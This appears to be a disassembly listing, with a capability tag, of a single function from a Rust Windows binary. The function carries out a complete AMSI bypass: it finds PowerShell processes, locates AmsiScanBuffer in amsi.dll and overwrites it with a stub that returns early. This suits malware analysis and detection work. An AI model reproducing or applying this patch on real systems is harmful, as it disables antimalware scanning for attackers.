Function at 0x14000b380
Capabilities:
Enumerate process modules

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x618
movaps xmmword [rsp + 0x600], xmm6
lea rax, str.___Bypassing_AMSI_n
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rax, str.___Bypassing_AMSI_n
mov qword [rsp + 0x1a0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a8], xmm0
lea rcx, [rsp + 0x190]
call dbg._print
mov rdi, qword [0x140183048]
movzx eax, byte [rdi]
mov ecx, 0x18
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000c153
mov rsi, rax
movzx eax, byte [rdi]
mov ecx, 0xe
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000c164
movabs rcx, 0x6578652e6c6c6568
mov qword [rax + 6], rcx
movabs rcx, 0x6568737265776f70
mov qword [rax], rcx
mov qword [rsi], rax
mov qword [rsi + 8], 0xe
mov qword [rsi + 0x10], 0xe
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0x198], 1
mov qword [rsp + 0x1a0], 1
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x190]
call sym.bme::processes::find_all_processes::h531e5a0b4297e15a
mov rcx, qword [rsp + 0x138]
mov rdx, qword [rsp + 0x140]
mov qword [rsp + 0x130], rdx
mov rax, qword [rsp + 0x148]
mov r8, rax
shl r8, 5
add r8, rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x88], rcx
test rax, rax
je 0x14000c007
xorps xmm6, xmm6
lea r12, [rsp + 0xc0]
mov rax, qword [rsp + 0x88]
jmp 0x14000b506
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rcx, qword [rsp + 0x80]
je 0x14000bffa
lea rcx, [rax + 0x20]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rax]
mov qword [rsp + 0x98], rcx
test rcx, rcx
je 0x14000bff3
mov rcx, qword [rax + 8]
mov qword [rsp + 0xa0], rcx
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x3c8], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::hbc2d596002cb9796]
mov qword [rsp + 0x3d0], rax
lea rax, [0x14014a200]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call dbg._print
mov esi, dword [rsp + 0x3c]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, esi
call sub.kernel32.dll_OpenProcess
mov qword [rsp + 0x40], rax
mov ecx, 2
xor edx, edx
call sym.std::thread::sleep::h4bd23c55328a2742
mov ecx, 0xf
mov edx, esi
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov rdi, rax
mov dword [rsp + 0x3c8], 0x238
mov rcx, rax
lea rdx, [rsp + 0x3c8]
call sub.kernel32.dll_Module32First
mov rax, qword [0x140183048]
movzx eax, byte [rax]
mov ecx, 0x100
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000c138
mov rsi, rax
mov r8d, 0x100
mov rcx, rax
lea rdx, [rsp + 0x3f8]
call sym.memcpy
mov qword [rsp + 0x190], 1
lea rax, [rsp + 0x1c0]
movups xmmword [rax - 0x28], xmm6
xor edx, edx
xor ebx, ebx
jmp 0x14000b67c
mov rax, qword [rsp + 0x190]
mov byte [rax + rdx], bpl
mov rdx, qword [rsp + 0x1a0]
inc rdx
mov qword [rsp + 0x1a0], rdx
cmp rbx, 0x100
je 0x14000b720
movzx ebp, byte [rsi + rbx]
inc rbx
test bpl, bpl
je 0x14000b720
js 0x14000b6b0
cmp rdx, qword [rsp + 0x198]
jne 0x14000b650
lea rcx, [rsp + 0x190]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h244d9ae4b7bf41d9
mov rdx, qword [rsp + 0x1a0]
jmp 0x14000b650
mov rax, qword [rsp + 0x198]
sub rax, rdx
cmp rax, 1
ja 0x14000b6dc
mov r8d, 2
lea rcx, [rsp + 0x190]
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::ha9e87b43c1a432ac
mov rdx, qword [rsp + 0x1a0]
mov eax, ebp
shr al, 6
or al, 0xc0
and bpl, 0x3f
or bpl, 0x80
mov rcx, qword [rsp + 0x190]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], bpl
add rdx, 2
mov qword [rsp + 0x1a0], rdx
cmp rbx, 0x100
jne 0x14000b67c
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x90], rax
mov r15, qword [rsp + 0x198]
mov edx, 0x100
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
mov qword [rsp + 0x68], r15
jmp 0x14000b76d
mov r15, qword [rsp + 0x68]
lea r12, [rsp + 0xc0]
mov dword [rsp + 0x190], 0x238
mov rcx, rdi
lea rdx, [rsp + 0x190]
call sub.kernel32.dll_Module32Next
mov esi, eax
mov rax, qword [0x140183048]
movzx eax, byte [rax]
mov ecx, 0x100
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000c0da
mov r14, rax
mov r8d, 0x100
mov rcx, rax
lea rdx, [rsp + 0x1c0]
call sym.memcpy
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0xc8]
movups xmmword [rax], xmm6
xor r13d, r13d
xor ebx, ebx
jmp 0x14000b824
mov r13, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xc0]
mov byte [rax + r13], bpl
mov r13, qword [rsp + 0xd0]
inc r13
mov qword [rsp + 0xd0], r13
cmp rbx, 0x100
je 0x14000b8c0
movzx ebp, byte [r14 + rbx]
inc rbx
test bpl, bpl
je 0x14000b8c0
js 0x14000b850
cmp r13, qword [rsp + 0xc8]
jne 0x14000b7f8
mov rcx, r12
mov rdx, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h244d9ae4b7bf41d9
jmp 0x14000b7f0
mov rax, qword [rsp + 0xc8]
sub rax, r13
cmp rax, 1
ja 0x14000b87a
mov r8d, 2
mov rcx, r12
mov rdx, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::ha9e87b43c1a432ac
mov r13, qword [rsp + 0xd0]
mov eax, ebp
shr al, 6
or al, 0xc0
and bpl, 0x3f
or bpl, 0x80
mov rcx, qword [rsp + 0xc0]
mov byte [rcx + r13], al
mov byte [rcx + r13 + 1], bpl
add r13, 2
mov qword [rsp + 0xd0], r13
cmp rbx, 0x100
jne 0x14000b824
nop word cs:[rax + rax]
mov r15, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
mov edx, 0x100
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
cmp r13, 8
jne 0x14000b8fc
movabs rax, 0x6c6c642e69736d61
cmp qword [r15], rax
je 0x14000bf10
cmp esi, 1
jne 0x14000b920
test r12, r12
je 0x14000b760
mov r8d, 1
mov rcx, r15
mov rdx, r12
call sym.__rust_dealloc
jmp 0x14000b760
xor ebp, ebp
test r12, r12
je 0x14000b938
mov r8d, 1
mov rcx, r15
mov rdx, r12
call sym.__rust_dealloc
movaps xmmword [rsp + 0x180], xmm6
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
mov qword [rsp + 0x20], 0
mov r9d, 0x40
mov rcx, qword [rsp + 0x40]
mov rdx, rbp
lea r8, [rsp + 0x150]
mov r15, qword [rsp + 0x68]
call sub.kernel32.dll_ReadProcessMemory
lea rsi, [rsp + 0xc0]
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0x190], 0
call sub.kernel32.dll_GetCurrentProcess
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
mov rdx, rsi
lea r8, [rsp + 0x150]
call sub.kernel32.dll_WriteProcessMemory
mov r14d, 0x108
mov r8d, 0x108
lea rcx, [rsp + 0x190]
xor edx, edx
call sub.msvcrt.dll_memset
movsxd rbx, dword [rsp + 0xfc]
mov ecx, 0x108
mov edx, 1
call sym.__rust_alloc_zeroed
test rax, rax
mov r12, qword [rsp + 0x40]
je 0x14000c11f
mov rsi, rax
add rbx, rbp
mov qword [rsp + 0x20], 0
mov r9d, 0x108
mov rcx, r12
mov rdx, rbx
mov r8, rax
call sub.kernel32.dll_ReadProcessMemory
mov qword [rsp + 0x100], 0
call sub.kernel32.dll_GetCurrentProcess
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x20], rcx
mov r9d, 0x108
mov rcx, rax
lea rdx, [rsp + 0x190]
mov r8, rsi
call sub.kernel32.dll_WriteProcessMemory
mov edx, 0x108
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
mov qword [rsp + 0x120], 0
mov ebx, dword [rsp + 0x218]
mov r14d, 0x28
mov ecx, 0x28
mov edx, 1
call sym.__rust_alloc_zeroed
test rax, rax
je 0x14000c11f
mov rsi, rax
add rbx, rbp
mov qword [rsp + 0x20], 0
mov r9d, 0x28
mov rcx, r12
mov rdx, rbx
mov r8, rax
call sub.kernel32.dll_ReadProcessMemory
mov qword [rsp + 0xa8], 0
call sub.kernel32.dll_GetCurrentProcess
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x28
mov rcx, rax
lea rdx, [rsp + 0x100]
mov r8, rsi
call sub.kernel32.dll_WriteProcessMemory
mov edx, 0x28
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
xor ebx, ebx
jmp 0x14000bb45
mov r12, qword [rsp + 0x40]
mov dword [rsp + 0x74], 0
mov eax, dword [rsp + 0x120]
lea rdx, [rbx*4]
add rdx, rbp
add rdx, rax
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, r12
lea r8, [rsp + 0x74]
call sub.kernel32.dll_ReadProcessMemory
mov esi, dword [rsp + 0x74]
mov ecx, 0x64
mov edx, 1
call sym.__rust_alloc_zeroed
test rax, rax
je 0x14000c09e
mov r13, rax
mov rdi, rbp
add rsi, rbp
mov qword [rsp + 0x20], 0
mov r9d, 0x64
mov rcx, r12
mov rdx, rsi
mov r8, rax
call sub.kernel32.dll_ReadProcessMemory
mov ecx, 0x64
mov edx, 1
call sym.__rust_alloc_zeroed
test rax, rax
je 0x14000c0bc
mov rbp, rax
mov eax, 3
movzx ecx, byte [r13 + rax - 3]
test cl, cl
je 0x14000bc30
mov byte [rbp + rax - 3], cl
movzx ecx, byte [r13 + rax - 2]
test cl, cl
je 0x14000bc30
mov byte [rbp + rax - 2], cl
movzx ecx, byte [r13 + rax - 1]
test cl, cl
je 0x14000bc30
mov byte [rbp + rax - 1], cl
movzx ecx, byte [r13 + rax]
test cl, cl
je 0x14000bc30
mov byte [rbp + rax], cl
add rax, 4
cmp rax, 0x67
jne 0x14000bbe0
jmp 0x14000bfce
mov rsi, rbx
mov r8d, 0x64
lea rcx, [rsp + 0xa8]
mov rdx, rbp
call dbg.from_utf8_lossy
mov rbx, qword [rsp + 0xa8]
mov r15, qword [rsp + 0xb0]
test rbx, rbx
mov r12, rbx
cmove r12, r15
mov r8, qword [rsp + 0xb8]
test r8, r8
mov qword [rsp + 0x78], r8
je 0x14000bcb0
js 0x14000c10e
mov rax, qword [0x140183048]
movzx eax, byte [rax]
mov edx, 1
mov rcx, r8
call sym.__rust_alloc
mov r8, qword [rsp + 0x78]
mov r14, rax
test rax, rax
jne 0x14000bcb6
jmp 0x14000c0f5
mov r14d, 1
mov rcx, r14
mov rdx, r12
call sym.memcpy
test rbx, rbx
je 0x14000bcdc
test r15, r15
je 0x14000bcdc
mov r8d, 1
mov rcx, rbx
mov rdx, r15
call sym.__rust_dealloc
mov edx, 0x64
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
mov edx, 0x64
mov r8d, 1
mov rcx, r13
call sym.__rust_dealloc
mov r11, qword [rsp + 0x78]
mov rcx, r11
mov r15, qword [rsp + 0x68]
lea r12, [rsp + 0xc0]
mov rbp, rdi
mov rbx, rsi
jmp 0x14000bd2a
dec rcx
sub rcx, r14
test edx, edx
jne 0x14000bda0
test rcx, rcx
je 0x14000bdd0
mov rax, rcx
add rcx, r14
movzx edx, byte [rcx - 1]
test dl, dl
jns 0x14000bd20
movzx r8d, byte [rcx - 2]
add rcx, 0xfffffffffffffffe
cmp r8b, 0xc0
jge 0x14000bd77
movzx r9d, byte [rcx - 1]
dec rcx
cmp r9b, 0xc0
jge 0x14000bd7d
movzx r10d, byte [rcx - 1]
dec rcx
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x14000bd81
and r8d, 0x1f
jmp 0x14000bd8c
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp edx, 0x110000
jne 0x14000bd23
jmp 0x14000bdd0
cmp rax, 0xe
jne 0x14000bdd0
mov rax, qword [r14]
movabs rcx, 0x6e61635369736d41
xor rax, rcx
mov rcx, qword [r14 + 6]
movabs rdx, 0x7265666675426e61
xor rcx, rdx
or rcx, rax
je 0x14000bf26
inc rbx
mov eax, dword [rsp + 0x118]
cmp rbx, rax
jae 0x14000be00
test r11, r11
je 0x14000bb40
mov r8d, 1
mov rcx, r14
mov rdx, r11
call sym.__rust_dealloc
jmp 0x14000bb40
test r11, r11
je 0x14000be16
mov r8d, 1
mov rcx, r14
mov rdx, r11
call sym.__rust_dealloc
xor ebp, ebp
movabs rax, 0xc300000001c0c748
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, qword [rsp + 0x40]
mov rdx, rbp
lea r8, [rsp + 0x190]
call sub.kernel32.dll_WriteProcessMemory
mov rcx, qword [rsp + 0x40]
call sub.kernel32.dll_CloseHandle
test r15, r15
je 0x14000be73
mov r8d, 1
mov rcx, qword [rsp + 0x90]
mov rdx, r15
call sym.__rust_dealloc
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x3c8], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::hbc2d596002cb9796]
mov qword [rsp + 0x3d0], rax
lea rax, str.___Successfully_patched
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call dbg._print
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
je 0x14000b4f0
mov r8d, 1
mov rcx, qword [rsp + 0x98]
call sym.__rust_dealloc
jmp 0x14000b4f0
mov rbp, qword [rsp + 0x1a8]
test r12, r12
jne 0x14000b927
jmp 0x14000b938
mov word [rsp + 0x3a], 0
mov eax, dword [rsp + 0x124]
lea rdx, [rbx*2]
add rdx, rbp
add rdx, rax
mov qword [rsp + 0x20], 0
mov r9d, 2
mov rdi, qword [rsp + 0x40]
mov rcx, rdi
lea r8, [rsp + 0x3a]
call sub.kernel32.dll_ReadProcessMemory
movzx eax, word [rsp + 0x3a]
mov dword [rsp + 0xa8], 0
mov ecx, dword [rsp + 0x11c]
lea rdx, [rax*4]
add rdx, rbp
add rdx, rcx
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, rdi
lea r8, [rsp + 0xa8]
call sub.kernel32.dll_ReadProcessMemory
mov edi, dword [rsp + 0xa8]
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x14000bfc6
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
add rbp, rdi
jmp 0x14000be18
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
lea r8, str.src_gamsi.rsAmsiScanBufferamsi.dll
mov ecx, 0x64
mov edx, 0x64
call dbg.panic_bounds_check
jmp 0x14000c173
mov rcx, qword [rsp + 0x30]
jmp 0x14000c002
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x58], rcx
mov rdx, qword [rsp + 0x80]
sub rdx, rcx
je 0x14000c05e
mov rax, rcx
mov rcx, rdx
shr rcx, 5
add rax, 8
jmp 0x14000c039
add rax, 0x20
dec rcx
je 0x14000c05e
mov rdx, qword [rax]
test rdx, rdx
je 0x14000c030
mov rdi, rcx
mov rcx, qword [rax - 8]
mov r8d, 1
mov rsi, rax
call sym.__rust_dealloc
mov rcx, rdi
mov rax, rsi
jmp 0x14000c030
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x14000c082
shl rdx, 5
mov r8d, 8
mov rcx, qword [rsp + 0x88]
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x600]
add rsp, 0x618
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov edx, 0x64
call dbg.handle_alloc_error
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov edx, 0x64
call dbg.handle_alloc_error
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov edx, 0x100
call dbg.handle_alloc_error
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov rdx, r8
call dbg.handle_alloc_error
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
call dbg.capacity_overflow
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov rdx, r14
call dbg.handle_alloc_error
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov ecx, 1
mov edx, 0x100
call dbg.handle_alloc_error
jmp 0x14000c173
mov ecx, 8
mov edx, 0x18
call dbg.handle_alloc_error
ud2
mov ecx, 1
mov edx, 0xe
call dbg.handle_alloc_error
ud2